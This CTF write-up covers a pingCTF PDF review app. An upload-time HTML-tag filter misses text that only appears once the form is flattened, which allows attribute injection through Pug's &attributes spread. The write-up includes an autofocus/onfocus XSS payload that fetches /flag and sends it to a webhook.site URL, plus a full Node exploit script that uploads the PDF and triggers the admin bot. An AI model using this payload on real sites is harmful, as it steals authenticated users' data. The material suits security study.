$ cat writeup.md…
$ cat writeup.md…
pingCTF
Task: Node/Express PDF review app with Pug templates and admin bot. Solution: Exploit discrepancy between upload-time and view-time PDF text extraction after form flattening to inject XSS via Pug &attributes() spread.
Every good CTF needs a review!
A Node.js/Express application that allows users to upload PDF review forms. An admin bot can be triggered to view the uploaded PDFs. The goal is to steal the flag from the authenticated admin session.
The application uses several key technologies:
pdf_id field/view?formId=<id>async function validatePDF(id) { // ... const htmlTagRegex = /<\/?[a-z][\s\S]*>/i; for (const field of storedFields) { try { const uploadedField = form.getTextField(field); const text = uploadedField.getText(); if (htmlTagRegex.test(text)) return false; // Check field values } catch { return false; } } // ... // Also extracts page text with pdfjs and checks for HTML tags const textContent = await docPage.getTextContent(); // ... if(htmlTagRegex.test(content)) return false; return true; }
The validation checks:
Critical observation: At upload time, form fields are NOT flattened, so pdfjs only extracts static page text, not the form field values.
async function prepareForAI(id) { // ... const pdfDoc = await PDFDocument.load(originalPdfBytes); const form = pdfDoc.getForm(); form.flatten(); // <-- Form fields become page text! const flattenedPdfBytes = await pdfDoc.save(); const doc = await pdfjs.getDocument({ data: flattenedPdfBytes.buffer }).promise; let docPage = await doc.getPage(1); let textContent = await docPage.getTextContent(); let content = {style:"color:red", text: ""} for (item of textContent["items"]) { content.text = content.text + " " + item.str; } return content; }
After form.flatten(), the form field values are converted to static page text and extracted by pdfjs. This text was never validated!
p(id="pdf-text")&attributes(text)=text.text
The &attributes(text) spread operator takes the text object (which has {style:"color:red", text: "..."}) and spreads its properties as HTML attributes. The text property becomes an HTML attribute:
<p id="pdf-text" style="color:red" text="extracted PDF text">extracted PDF text</p>
If the extracted text contains a quote ("), it breaks out of the attribute value and allows injecting arbitrary HTML attributes like onfocus, autofocus, etc.
The regex /<\/?[a-z][\s\S]*>/i only blocks HTML tags with angle brackets. Attribute injection without < or > completely bypasses this filter.
/download/flag, and exfiltrates to webhookThe payload must:
< or > (to bypass the HTML tag filter)text="..." attributeconst part1 = '" tabindex=1 autofocus onfocus="fetch(\'/flag\').then(r=>r.text()).then(t=>'; const part2 = `new Image().src='https://webhook.site/xxx/?f='+encodeURIComponent(t))" x="`;
When flattened and extracted, this becomes:
<p id="pdf-text" style="color:red" text=" " tabindex=1 autofocus onfocus="fetch('/flag').then(r=>r.text()).then(t=>new Image().src='https://webhook.site/xxx/?f='+encodeURIComponent(t))" x=" ...">
The autofocus + onfocus combination executes automatically when the page loads.
const { PDFDocument } = require('pdf-lib'); const BASE = 'http://178.104.35.165:10002'; const WEBHOOK = 'https://webhook.site/5f0505b5-e724-4142-8fcf-3dae5ebd516b'; async function main() { const part1 = '" tabindex=1 autofocus onfocus="fetch(\'/flag\').then(r=>r.text()).then(t=>'; const part2 = `new Image().src='${WEBHOOK}/?f='+encodeURIComponent(t))" x="`; // Download template const downloadRes = await fetch(`${BASE}/download`); const template = new Uint8Array(await downloadRes.arrayBuffer()); // Fill form fields with payload const pdfDoc = await PDFDocument.load(template); const form = pdfDoc.getForm(); form.getTextField('Text1').setText(part1); form.getTextField('Text2').setText(part2); const pdfBytes = await pdfDoc.save(); // Upload malicious PDF const formData = new FormData(); formData.append('reviewForm', new Blob([pdfBytes], { type: 'application/pdf' }), 'review.pdf'); const uploadRes = await fetch(`${BASE}/upload`, { method: 'POST', body: formData, }); const uploadHtml = await uploadRes.text(); const idMatch = uploadHtml.match(/name="formId"\s+value="([^"]+)"/); const formId = idMatch[1]; // Trigger admin bot await fetch(`${BASE}/admin`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ formId }).toString(), }); console.log({ formId, webhook: WEBHOOK }); } main();
node exploit_review.js
The webhook receives the flag:
ping{I_h0p3_y0u_l1k3_0ur_c7f!}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar